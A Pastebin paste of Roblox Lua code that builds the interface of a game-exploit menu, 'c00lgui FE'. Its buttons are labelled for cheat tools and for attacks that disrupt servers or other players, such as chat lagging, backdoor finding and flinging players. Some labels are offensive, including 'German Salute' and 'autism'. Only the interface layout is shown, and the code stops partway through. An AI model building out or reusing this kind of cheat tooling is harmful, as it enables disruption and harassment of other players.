Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local c00lguiFE = Instance.new("ScreenGui")
- local Frame = Instance.new("Frame")
- local Title = Instance.new("TextLabel")
- local back = Instance.new("TextButton")
- local next = Instance.new("TextButton")
- local Page1 = Instance.new("Frame")
- local FEGuis = Instance.new("Frame")
- local Owlhub = Instance.new("TextButton")
- local Title_2 = Instance.new("TextLabel")
- local topkekremake = Instance.new("TextButton")
- local Opfinality = Instance.new("TextButton")
- local ScriptSpy = Instance.new("TextButton")
- local Dex = Instance.new("TextButton")
- local Hydroxide = Instance.new("TextButton")
- local audiologger = Instance.new("TextButton")
- local InfiniteYieldFE = Instance.new("TextButton")
- local HarkedReborn = Instance.new("TextButton")
- local Backdoorfinder = Instance.new("TextButton")
- local headfling = Instance.new("TextButton")
- local UnanchPlr = Instance.new("TextButton")
- local FEscripts = Instance.new("Frame")
- local Title_3 = Instance.new("TextLabel")
- local Ccanon = Instance.new("TextButton")
- local humanoidel = Instance.new("TextButton")
- local salute = Instance.new("TextButton")
- local lagchat = Instance.new("TextButton")
- local breakchat = Instance.new("TextButton")
- local commitoof = Instance.new("TextButton")
- local backflip = Instance.new("TextButton")
- local walkonwall = Instance.new("TextButton")
- local blackhole = Instance.new("TextButton")
- local ClickTP = Instance.new("TextButton")
- local autism = Instance.new("TextButton")
- local singtheme = Instance.new("TextButton")
- local PageLabel = Instance.new("TextLabel")
- local TextLabel = Instance.new("TextLabel")
- local Page2 = Instance.new("Frame")
- local robloxoldstyle = Instance.new("Frame")
- local Title_4 = Instance.new("TextLabel")
- local oldtopbar = Instance.new("TextButton")
- local oldcharsounds = Instance.new("TextButton")
- local oldanim = Instance.new("TextButton")
- local oldplrlist = Instance.new("TextButton")
- local oldgraphics = Instance.new("TextButton")
- local oldcons = Instance.new("TextButton")
- local oldcursor = Instance.new("TextButton")
- local no5 = Instance.new("TextButton")
- local no3 = Instance.new("TextButton")
- local no2 = Instance.new("TextButton")
- local no = Instance.new("TextButton")
- local no4 = Instance.new("TextButton")
- local PageLabel_2 = Instance.new("TextLabel")
- local Page3 = Instance.new("Frame")
- local End = Instance.new("Frame")
- local Text = Instance.new("TextLabel")
- local PageLabel_3 = Instance.new("TextLabel")
- local CloseOpen = Instance.new("TextButton")
- c00lguiFE.Name = "c00lguiFE"
- c00lguiFE.Parent = game.CoreGui
- c00lguiFE.ResetOnSpawn = false
- Frame.Parent = c00lguiFE
- Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Frame.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Frame.BorderSizePixel = 3
- Frame.Position = UDim2.new(0, 3, 0.300000012, 0)
- Frame.Size = UDim2.new(0, 300, 0, 400)
- Frame.ZIndex = 2
- Title.Name = "Title"
- Title.Parent = Frame
- Title.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Title.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Title.BorderSizePixel = 3
- Title.Size = UDim2.new(1, 0, 0, 40)
- Title.ZIndex = 2
- Title.Font = Enum.Font.SourceSans
- Title.Text = "c00lgui FE v2.1 by LordMuhamad"
- Title.TextColor3 = Color3.fromRGB(255, 255, 255)
- Title.TextScaled = true
- Title.TextSize = 24.000
- Title.TextWrapped = true
- back.Name = "back"
- back.Parent = Frame
- back.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- back.BorderColor3 = Color3.fromRGB(255, 0, 0)
- back.BorderSizePixel = 3
- back.Position = UDim2.new(0, 0, 0, 40)
- back.Size = UDim2.new(0.5, 0, 0, 40)
- back.ZIndex = 2
- back.Font = Enum.Font.SourceSans
- back.Text = "<"
- back.TextColor3 = Color3.fromRGB(255, 255, 255)
- back.TextSize = 48.000
- next.Name = "next"
- next.Parent = Frame
- next.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- next.BorderColor3 = Color3.fromRGB(255, 0, 0)
- next.BorderSizePixel = 3
- next.Position = UDim2.new(0.5, 3, 0, 40)
- next.Size = UDim2.new(0.5, -3, 0, 40)
- next.ZIndex = 2
- next.Font = Enum.Font.SourceSans
- next.Text = ">"
- next.TextColor3 = Color3.fromRGB(255, 255, 255)
- next.TextSize = 48.000
- Page1.Name = "Page1"
- Page1.Parent = Frame
- Page1.Active = true
- Page1.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Page1.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Page1.BorderSizePixel = 3
- Page1.Position = UDim2.new(0, 0, 0, 83)
- Page1.Size = UDim2.new(1, 0, 1, -106)
- Page1.ZIndex = 2
- FEGuis.Name = "FE Guis"
- FEGuis.Parent = Page1
- FEGuis.Active = true
- FEGuis.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- FEGuis.BorderColor3 = Color3.fromRGB(255, 0, 0)
- FEGuis.BorderSizePixel = 3
- FEGuis.Position = UDim2.new(0.5, 3, 0, 0)
- FEGuis.Size = UDim2.new(0.5, -3, 1, 0)
- FEGuis.ZIndex = 2
- Owlhub.Name = "Owlhub"
- Owlhub.Parent = FEGuis
- Owlhub.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Owlhub.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Owlhub.BorderSizePixel = 3
- Owlhub.Position = UDim2.new(0, 0, 0, 33)
- Owlhub.Size = UDim2.new(0.5, 0, 0, 30)
- Owlhub.ZIndex = 2
- Owlhub.Font = Enum.Font.SourceSans
- Owlhub.Text = "OwlHub"
- Owlhub.TextColor3 = Color3.fromRGB(255, 255, 255)
- Owlhub.TextSize = 14.000
- Owlhub.TextWrapped = true
- Title_2.Name = "Title"
- Title_2.Parent = FEGuis
- Title_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Title_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Title_2.BorderSizePixel = 3
- Title_2.Size = UDim2.new(1, 0, 0, 30)
- Title_2.ZIndex = 2
- Title_2.Font = Enum.Font.SourceSansBold
- Title_2.Text = "FE GUIs"
- Title_2.TextColor3 = Color3.fromRGB(255, 255, 255)
- Title_2.TextSize = 14.000
- Title_2.TextWrapped = true
- topkekremake.Name = "topkek remake"
- topkekremake.Parent = FEGuis
- topkekremake.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- topkekremake.BorderColor3 = Color3.fromRGB(255, 0, 0)
- topkekremake.BorderSizePixel = 3
- topkekremake.Position = UDim2.new(0.5, 3, 0, 33)
- topkekremake.Size = UDim2.new(0.5, -3, 0, 30)
- topkekremake.ZIndex = 2
- topkekremake.Font = Enum.Font.SourceSans
- topkekremake.Text = "Topkek remake"
- topkekremake.TextColor3 = Color3.fromRGB(255, 255, 255)
- topkekremake.TextSize = 14.000
- topkekremake.TextWrapped = true
- Opfinality.Name = "Opfinality"
- Opfinality.Parent = FEGuis
- Opfinality.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Opfinality.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Opfinality.BorderSizePixel = 3
- Opfinality.Position = UDim2.new(0, 0, 0, 66)
- Opfinality.Size = UDim2.new(0.5, 0, 0, 30)
- Opfinality.ZIndex = 2
- Opfinality.Font = Enum.Font.SourceSans
- Opfinality.Text = "Opfinality"
- Opfinality.TextColor3 = Color3.fromRGB(255, 255, 255)
- Opfinality.TextSize = 14.000
- Opfinality.TextWrapped = true
- ScriptSpy.Name = "Script Spy"
- ScriptSpy.Parent = FEGuis
- ScriptSpy.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- ScriptSpy.BorderColor3 = Color3.fromRGB(255, 0, 0)
- ScriptSpy.BorderSizePixel = 3
- ScriptSpy.Position = UDim2.new(0.5, 3, 0, 66)
- ScriptSpy.Size = UDim2.new(0.5, -3, 0, 30)
- ScriptSpy.ZIndex = 2
- ScriptSpy.Font = Enum.Font.SourceSans
- ScriptSpy.Text = "ScriptSpy"
- ScriptSpy.TextColor3 = Color3.fromRGB(255, 255, 255)
- ScriptSpy.TextSize = 14.000
- ScriptSpy.TextWrapped = true
- Dex.Name = "Dex"
- Dex.Parent = FEGuis
- Dex.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Dex.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Dex.BorderSizePixel = 3
- Dex.Position = UDim2.new(0, 0, 0, 99)
- Dex.Size = UDim2.new(0.5, 0, 0, 30)
- Dex.ZIndex = 2
- Dex.Font = Enum.Font.SourceSans
- Dex.Text = "ExProDex V2"
- Dex.TextColor3 = Color3.fromRGB(255, 255, 255)
- Dex.TextSize = 14.000
- Dex.TextWrapped = true
- Hydroxide.Name = "Hydroxide"
- Hydroxide.Parent = FEGuis
- Hydroxide.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Hydroxide.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Hydroxide.BorderSizePixel = 3
- Hydroxide.Position = UDim2.new(0.5, 3, 0, 99)
- Hydroxide.Size = UDim2.new(0.5, -3, 0, 30)
- Hydroxide.ZIndex = 2
- Hydroxide.Font = Enum.Font.SourceSans
- Hydroxide.Text = "Hydroxide"
- Hydroxide.TextColor3 = Color3.fromRGB(255, 255, 255)
- Hydroxide.TextSize = 14.000
- Hydroxide.TextWrapped = true
- audiologger.Name = "audio logger"
- audiologger.Parent = FEGuis
- audiologger.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- audiologger.BorderColor3 = Color3.fromRGB(255, 0, 0)
- audiologger.BorderSizePixel = 3
- audiologger.Position = UDim2.new(0, 0, 0, 132)
- audiologger.Size = UDim2.new(0.5, 0, 0, 30)
- audiologger.ZIndex = 2
- audiologger.Font = Enum.Font.SourceSans
- audiologger.Text = "Audio logger"
- audiologger.TextColor3 = Color3.fromRGB(255, 255, 255)
- audiologger.TextSize = 14.000
- audiologger.TextWrapped = true
- InfiniteYieldFE.Name = "Infinite Yield FE"
- InfiniteYieldFE.Parent = FEGuis
- InfiniteYieldFE.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- InfiniteYieldFE.BorderColor3 = Color3.fromRGB(255, 0, 0)
- InfiniteYieldFE.BorderSizePixel = 3
- InfiniteYieldFE.Position = UDim2.new(0.5, 3, 0, 132)
- InfiniteYieldFE.Size = UDim2.new(0.5, -3, 0, 30)
- InfiniteYieldFE.ZIndex = 2
- InfiniteYieldFE.Font = Enum.Font.SourceSans
- InfiniteYieldFE.Text = "Infinite Yield FE"
- InfiniteYieldFE.TextColor3 = Color3.fromRGB(255, 255, 255)
- InfiniteYieldFE.TextSize = 14.000
- InfiniteYieldFE.TextWrapped = true
- HarkedReborn.Name = "Harked Reborn"
- HarkedReborn.Parent = FEGuis
- HarkedReborn.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- HarkedReborn.BorderColor3 = Color3.fromRGB(255, 0, 0)
- HarkedReborn.BorderSizePixel = 3
- HarkedReborn.Position = UDim2.new(0, 0, 0, 165)
- HarkedReborn.Size = UDim2.new(0.499000013, 0, 0, 30)
- HarkedReborn.ZIndex = 2
- HarkedReborn.Font = Enum.Font.SourceSans
- HarkedReborn.Text = "Harked Reborn (deprecated)"
- HarkedReborn.TextColor3 = Color3.fromRGB(255, 255, 255)
- HarkedReborn.TextSize = 14.000
- HarkedReborn.TextWrapped = true
- Backdoorfinder.Name = "Backdoor finder"
- Backdoorfinder.Parent = FEGuis
- Backdoorfinder.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Backdoorfinder.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Backdoorfinder.BorderSizePixel = 3
- Backdoorfinder.Position = UDim2.new(0.5, 3, 0, 165)
- Backdoorfinder.Size = UDim2.new(0.5, -3, 0, 30)
- Backdoorfinder.ZIndex = 2
- Backdoorfinder.Font = Enum.Font.SourceSans
- Backdoorfinder.Text = "Backdoor Finder"
- Backdoorfinder.TextColor3 = Color3.fromRGB(255, 255, 255)
- Backdoorfinder.TextSize = 14.000
- Backdoorfinder.TextWrapped = true
- headfling.Name = "headfling"
- headfling.Parent = FEGuis
- headfling.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- headfling.BorderColor3 = Color3.fromRGB(255, 0, 0)
- headfling.BorderSizePixel = 3
- headfling.Position = UDim2.new(0, 0, 0, 198)
- headfling.Size = UDim2.new(0.499000013, 0, 0, 30)
- headfling.ZIndex = 2
- headfling.Font = Enum.Font.SourceSans
- headfling.Text = "headfling"
- headfling.TextColor3 = Color3.fromRGB(255, 255, 255)
- headfling.TextSize = 14.000
- headfling.TextWrapped = true
- UnanchPlr.Name = "UnanchPlr"
- UnanchPlr.Parent = FEGuis
- UnanchPlr.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- UnanchPlr.BorderColor3 = Color3.fromRGB(255, 0, 0)
- UnanchPlr.BorderSizePixel = 3
- UnanchPlr.Position = UDim2.new(0.5, 3, 0, 198)
- UnanchPlr.Size = UDim2.new(0.5, -3, 0, 30)
- UnanchPlr.ZIndex = 2
- UnanchPlr.Font = Enum.Font.SourceSans
- UnanchPlr.Text = "Unanchored2Plr"
- UnanchPlr.TextColor3 = Color3.fromRGB(255, 255, 255)
- UnanchPlr.TextSize = 14.000
- UnanchPlr.TextWrapped = true
- FEscripts.Name = "FE scripts"
- FEscripts.Parent = Page1
- FEscripts.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- FEscripts.BorderColor3 = Color3.fromRGB(255, 0, 0)
- FEscripts.BorderSizePixel = 3
- FEscripts.Size = UDim2.new(0.5, 0, 1, 0)
- FEscripts.ZIndex = 2
- Title_3.Name = "Title"
- Title_3.Parent = FEscripts
- Title_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Title_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Title_3.BorderSizePixel = 3
- Title_3.Size = UDim2.new(1, 0, 0, 30)
- Title_3.ZIndex = 2
- Title_3.Font = Enum.Font.SourceSansBold
- Title_3.Text = "FE SCRIPTS"
- Title_3.TextColor3 = Color3.fromRGB(255, 255, 255)
- Title_3.TextSize = 14.000
- Title_3.TextWrapped = true
- Ccanon.Name = "Ccanon"
- Ccanon.Parent = FEscripts
- Ccanon.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Ccanon.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Ccanon.BorderSizePixel = 3
- Ccanon.Position = UDim2.new(0, 0, 0, 33)
- Ccanon.Size = UDim2.new(0.5, 0, 0, 30)
- Ccanon.ZIndex = 2
- Ccanon.Font = Enum.Font.SourceSans
- Ccanon.Text = "Butterloaf cannon"
- Ccanon.TextColor3 = Color3.fromRGB(255, 255, 255)
- Ccanon.TextSize = 14.000
- Ccanon.TextWrapped = true
- humanoidel.Name = "humanoidel"
- humanoidel.Parent = FEscripts
- humanoidel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- humanoidel.BorderColor3 = Color3.fromRGB(255, 0, 0)
- humanoidel.BorderSizePixel = 3
- humanoidel.Position = UDim2.new(0, 75, 0, 33)
- humanoidel.Size = UDim2.new(0.5, 0, 0, 30)
- humanoidel.ZIndex = 2
- humanoidel.Font = Enum.Font.SourceSans
- humanoidel.Text = "del character"
- humanoidel.TextColor3 = Color3.fromRGB(255, 255, 255)
- humanoidel.TextSize = 14.000
- humanoidel.TextWrapped = true
- salute.Name = "salute"
- salute.Parent = FEscripts
- salute.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- salute.BorderColor3 = Color3.fromRGB(255, 0, 0)
- salute.BorderSizePixel = 3
- salute.Position = UDim2.new(0, 75, 0, 66)
- salute.Size = UDim2.new(0.5, 0, 0, 30)
- salute.ZIndex = 2
- salute.Font = Enum.Font.SourceSans
- salute.Text = "German Salute"
- salute.TextColor3 = Color3.fromRGB(255, 255, 255)
- salute.TextSize = 14.000
- salute.TextWrapped = true
- lagchat.Name = "lagchat"
- lagchat.Parent = FEscripts
- lagchat.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- lagchat.BorderColor3 = Color3.fromRGB(255, 0, 0)
- lagchat.BorderSizePixel = 3
- lagchat.Position = UDim2.new(0, 0, 0, 99)
- lagchat.Size = UDim2.new(0.5, 0, 0, 30)
- lagchat.ZIndex = 2
- lagchat.Font = Enum.Font.SourceSans
- lagchat.Text = "Lag Chat"
- lagchat.TextColor3 = Color3.fromRGB(255, 255, 255)
- lagchat.TextSize = 14.000
- lagchat.TextWrapped = true
- breakchat.Name = "breakchat"
- breakchat.Parent = FEscripts
- breakchat.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- breakchat.BorderColor3 = Color3.fromRGB(255, 0, 0)
- breakchat.BorderSizePixel = 3
- breakchat.Position = UDim2.new(0, 75, 0, 99)
- breakchat.Size = UDim2.new(0.5, 0, 0, 30)
- breakchat.ZIndex = 2
- breakchat.Font = Enum.Font.SourceSans
- breakchat.Text = "break chat"
- breakchat.TextColor3 = Color3.fromRGB(255, 255, 255)
- breakchat.TextSize = 14.000
- breakchat.TextWrapped = true
- commitoof.Name = "commit oof"
- commitoof.Parent = FEscripts
- commitoof.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- commitoof.BorderColor3 = Color3.fromRGB(255, 0, 0)
- commitoof.BorderSizePixel = 3
- commitoof.Position = UDim2.new(0, 0, 0, 66)
- commitoof.Size = UDim2.new(0.479999989, 0, 0, 30)
- commitoof.ZIndex = 2
- commitoof.Font = Enum.Font.SourceSans
- commitoof.Text = "Commit oof"
- commitoof.TextColor3 = Color3.fromRGB(255, 255, 255)
- commitoof.TextSize = 14.000
- commitoof.TextWrapped = true
- backflip.Name = "backflip"
- backflip.Parent = FEscripts
- backflip.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- backflip.BorderColor3 = Color3.fromRGB(255, 0, 0)
- backflip.BorderSizePixel = 3
- backflip.Position = UDim2.new(0, 0, 0, 132)
- backflip.Size = UDim2.new(0.479999989, 0, 0, 30)
- backflip.ZIndex = 2
- backflip.Font = Enum.Font.SourceSans
- backflip.Text = "backflip (Z,X,C)"
- backflip.TextColor3 = Color3.fromRGB(255, 255, 255)
- backflip.TextSize = 14.000
- backflip.TextWrapped = true
- walkonwall.Name = "walkonwall"
- walkonwall.Parent = FEscripts
- walkonwall.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- walkonwall.BorderColor3 = Color3.fromRGB(255, 0, 0)
- walkonwall.BorderSizePixel = 3
- walkonwall.Position = UDim2.new(0, 75, 0, 132)
- walkonwall.Size = UDim2.new(0.5, 0, 0, 30)
- walkonwall.ZIndex = 2
- walkonwall.Font = Enum.Font.SourceSans
- walkonwall.Text = "walk on walls"
- walkonwall.TextColor3 = Color3.fromRGB(255, 255, 255)
- walkonwall.TextSize = 14.000
- walkonwall.TextWrapped = true
- blackhole.Name = "blackhole"
- blackhole.Parent = FEscripts
- blackhole.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- blackhole.BorderColor3 = Color3.fromRGB(255, 0, 0)
- blackhole.BorderSizePixel = 3
- blackhole.Position = UDim2.new(0, 1, 0, 165)
- blackhole.Size = UDim2.new(0.479999989, 0, 0, 30)
- blackhole.ZIndex = 2
- blackhole.Font = Enum.Font.SourceSans
- blackhole.Text = "blackhole"
- blackhole.TextColor3 = Color3.fromRGB(255, 255, 255)
- blackhole.TextSize = 14.000
- blackhole.TextWrapped = true
- ClickTP.Name = "ClickTP"
- ClickTP.Parent = FEscripts
- ClickTP.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- ClickTP.BorderColor3 = Color3.fromRGB(255, 0, 0)
- ClickTP.BorderSizePixel = 3
- ClickTP.Position = UDim2.new(0, 75, 0, 165)
- ClickTP.Size = UDim2.new(0.5, 0, 0, 30)
- ClickTP.ZIndex = 2
- ClickTP.Font = Enum.Font.SourceSans
- ClickTP.Text = "Click TP"
- ClickTP.TextColor3 = Color3.fromRGB(255, 255, 255)
- ClickTP.TextSize = 14.000
- ClickTP.TextWrapped = true
- autism.Name = "autism"
- autism.Parent = FEscripts
- autism.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- autism.BorderColor3 = Color3.fromRGB(255, 0, 0)
- autism.BorderSizePixel = 3
- autism.Position = UDim2.new(0, 0, 0, 198)
- autism.Size = UDim2.new(0.479999989, 0, 0, 30)
- autism.ZIndex = 2
- autism.Font = Enum.Font.SourceSans
- autism.Text = "autism "
- autism.TextColor3 = Color3.fromRGB(255, 255, 255)
- autism.TextSize = 14.000
- autism.TextWrapped = true
- singtheme.Name = "sing theme"
- singtheme.Parent = FEscripts
- singtheme.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- singtheme.BorderColor3 = Color3.fromRGB(255, 0, 0)
- singtheme.BorderSizePixel = 3
- singtheme.Position = UDim2.new(0, 75, 0, 198)
- singtheme.Size = UDim2.new(0.5, 0, 0, 30)
- singtheme.ZIndex = 2
- singtheme.Font = Enum.Font.SourceSans
- singtheme.Text = "sing c00lkidd anthem"
- singtheme.TextColor3 = Color3.fromRGB(255, 255, 255)
- singtheme.TextSize = 14.000
- singtheme.TextWrapped = true
- PageLabel.Name = "PageLabel"
- PageLabel.Parent = Page1
- PageLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- PageLabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
- PageLabel.BorderSizePixel = 3
- PageLabel.Position = UDim2.new(0, 0, 1, -30)
- PageLabel.Size = UDim2.new(1, 0, 0, 30)
- PageLabel.ZIndex = 2
- PageLabel.Font = Enum.Font.SourceSans
- PageLabel.Text = "Page 1"
- PageLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
- PageLabel.TextSize = 18.000
- PageLabel.TextWrapped = true
- TextLabel.Parent = Page1
- TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
- TextLabel.Size = UDim2.new(0, 200, 0, 50)
- TextLabel.Font = Enum.Font.SourceSans
- TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0)
- TextLabel.TextSize = 14.000
- Page2.Name = "Page2"
- Page2.Parent = Frame
- Page2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Page2.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Page2.BorderSizePixel = 3
- Page2.Position = UDim2.new(0, 0, 0, 83)
- Page2.Size = UDim2.new(1, 0, 1, -106)
- Page2.Visible = false
- Page2.ZIndex = 2
- robloxoldstyle.Name = "roblox oldstyle"
- robloxoldstyle.Parent = Page2
- robloxoldstyle.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- robloxoldstyle.BorderColor3 = Color3.fromRGB(255, 0, 0)
- robloxoldstyle.BorderSizePixel = 3
- robloxoldstyle.Size = UDim2.new(0.5, 0, 1, 0)
- robloxoldstyle.ZIndex = 2
- Title_4.Name = "Title"
- Title_4.Parent = robloxoldstyle
- Title_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- Title_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
- Title_4.BorderSizePixel = 3
- Title_4.Size = UDim2.new(1, 0, 0, 30)
- Title_4.ZIndex = 2
- Title_4.Font = Enum.Font.SourceSansBold
- Title_4.Text = "OLD ROBLOX STYLE"
- Title_4.TextColor3 = Color3.fromRGB(255, 255, 255)
- Title_4.TextSize = 14.000
- Title_4.TextWrapped = true
- oldtopbar.Name = "old topbar"
- oldtopbar.Parent = robloxoldstyle
- oldtopbar.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- oldtopbar.BorderColor3 = Color3.fromRGB(255, 0, 0)
- oldtopbar.BorderSizePixel = 3
- oldtopbar.Position = UDim2.new(0, 0, 0, 33)
- oldtopbar.Size = UDim2.new(0.5, 0, 0, 30)
- oldtopbar.ZIndex = 2
- oldtopbar.Font = Enum.Font.SourceSans
- oldtopbar.Text = "Old Topbar"
- oldtopbar.TextColor3 = Color3.fromRGB(255, 255, 255)
- oldtopbar.TextSize = 14.000
- oldtopbar.TextWrapped = true
- oldcharsounds.Name = "oldcharsounds"
- oldcharsounds.Parent = robloxoldstyle
- oldcharsounds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- oldcharsounds.BorderColor3 = Color3.fromRGB(255, 0, 0)
- oldcharsounds.BorderSizePixel = 3
- oldcharsounds.Position = UDim2.new(0, 75, 0, 33)
- oldcharsounds.Size = UDim2.new(0.5, 0, 0, 30)
- oldcharsounds.ZIndex = 2
- oldcharsounds.Font = Enum.Font.SourceSans
- oldcharsounds.Text = "Old character sounds"
- oldcharsounds.TextColor3 = Color3.fromRGB(255, 255, 255)
- oldcharsounds.TextSize = 14.000
- oldcharsounds.TextWrapped = true
- oldanim.Name = "oldanim"
- oldanim.Parent = robloxoldstyle
- oldanim.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- oldanim.BorderColor3 = Color3.fromRGB(255, 0, 0)
- oldanim.BorderSizePixel = 3
- oldanim.Position = UDim2.new(0, 75, 0, 66)
- oldanim.Size = UDim2.new(0.5, 0, 0, 30)
- oldanim.ZIndex = 2
- oldanim.Font = Enum.Font.SourceSans
- oldanim.Text = "Old animations"
- oldanim.TextColor3 = Color3.fromRGB(255, 255, 255)
- oldanim.TextSize = 14.000
- oldanim.TextWrapped = true
- oldplrlist.Name = "oldplrlist"
- oldplrlist.Parent = robloxoldstyle
- oldplrlist.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- oldplrlist.BorderColor3 = Color3.fromRGB(255, 0, 0)
- oldplrlist.BorderSizePixel = 3
- oldplrlist.Position = UDim2.new(0, 0, 0, 99)
- oldplrlist.Size = UDim2.new(0.5, 0, 0, 30)
- oldplrlist.ZIndex = 2
- oldplrlist.Font = Enum.Font.SourceSans
- oldplrlist.Text = "Old playerlist"
- oldplrlist.TextColor3 = Color3.fromRGB(255, 255, 255)
- oldplrlist.TextSize = 14.000
- oldplrlist.TextWrapped = true
- oldgraphics.Name = "oldgraphics"
- oldgraphics.Parent = robloxoldstyle
- oldgraphics.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- oldgraphics.BorderColor3 = Color3.fromRGB(255, 0, 0)
- oldgraphics.BorderSizePixel = 3
- oldgraphics.Position = UDim2.new(0, 75, 0, 99)
- oldgraphics.Size = UDim2.new(0.5, 0, 0, 30)
- oldgraphics.ZIndex = 2
- oldgraphics.Font = Enum.Font.SourceSans
- oldgraphics.Text = "Old graphics"
- oldgraphics.TextColor3 = Color3.fromRGB(255, 255, 255)
- oldgraphics.TextSize = 14.000
- oldgraphics.TextWrapped = true
- oldcons.Name = "oldcons"
- oldcons.Parent = robloxoldstyle
- oldcons.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- oldcons.BorderColor3 = Color3.fromRGB(255, 0, 0)
- oldcons.BorderSizePixel = 3
- oldcons.Position = UDim2.new(0, 0, 0, 66)
- oldcons.Size = UDim2.new(0.479999989, 0, 0, 30)
- oldcons.ZIndex = 2
- oldcons.Font = Enum.Font.SourceSans
- oldcons.Text = "Old console"
- oldcons.TextColor3 = Color3.fromRGB(255, 255, 255)
- oldcons.TextSize = 14.000
- oldcons.TextWrapped = true
- oldcursor.Name = "oldcursor"
- oldcursor.Parent = robloxoldstyle
- oldcursor.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- oldcursor.BorderColor3 = Color3.fromRGB(255, 0, 0)
- oldcursor.BorderSizePixel = 3
- oldcursor.Position = UDim2.new(0, 0, 0, 132)
- oldcursor.Size = UDim2.new(0.479999989, 0, 0, 30)
- oldcursor.ZIndex = 2
- oldcursor.Font = Enum.Font.SourceSans
- oldcursor.Text = "Old cursor"
- oldcursor.TextColor3 = Color3.fromRGB(255, 255, 255)
- oldcursor.TextSize = 14.000
- oldcursor.TextWrapped = true
- no5.Name = "no5"
- no5.Parent = robloxoldstyle
- no5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- no5.BorderColor3 = Color3.fromRGB(255, 0, 0)
- no5.BorderSizePixel = 3
- no5.Position = UDim2.new(0, 75, 0, 132)
- no5.Size = UDim2.new(0.5, 0, 0, 30)
- no5.ZIndex = 2
- no5.Font = Enum.Font.SourceSans
- no5.Text = ""
- no5.TextColor3 = Color3.fromRGB(255, 255, 255)
- no5.TextSize = 14.000
- no5.TextWrapped = true
- no3.Name = "no3"
- no3.Parent = robloxoldstyle
- no3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- no3.BorderColor3 = Color3.fromRGB(255, 0, 0)
- no3.BorderSizePixel = 3
- no3.Position = UDim2.new(0, 1, 0, 165)
- no3.Size = UDim2.new(0.479999989, 0, 0, 30)
- no3.ZIndex = 2
- no3.Font = Enum.Font.SourceSans
- no3.Text = ""
- no3.TextColor3 = Color3.fromRGB(255, 255, 255)
- no3.TextSize = 14.000
- no3.TextWrapped = true
- no2.Name = "no2"
- no2.Parent = robloxoldstyle
- no2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- no2.BorderColor3 = Color3.fromRGB(255, 0, 0)
- no2.BorderSizePixel = 3
- no2.Position = UDim2.new(0, 75, 0, 165)
- no2.Size = UDim2.new(0.5, 0, 0, 30)
- no2.ZIndex = 2
- no2.Font = Enum.Font.SourceSans
- no2.Text = ""
- no2.TextColor3 = Color3.fromRGB(255, 255, 255)
- no2.TextSize = 14.000
- no2.TextWrapped = true
- no.Name = "no"
- no.Parent = robloxoldstyle
- no.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
- no.BorderColor3 = Color3.fromRGB(255, 0, 0)
- no.BorderSizePixel = 3
- no.Position = UDim2.new(0, 0, 0, 198)
- no.Size = UDim2.new(0.479999989, 0, 0, 30)
- no.ZIndex = 2
- no.Font = Enum.Font.SourceSans
- no.Text = ""
- no.TextColor3 = Color3.fromRGB(255, 255, 255)
- no.TextSize = 14.000
- no.TextWrapped = true
- no4.Name = "no4"
- no4.Parent = robloxoldstyle
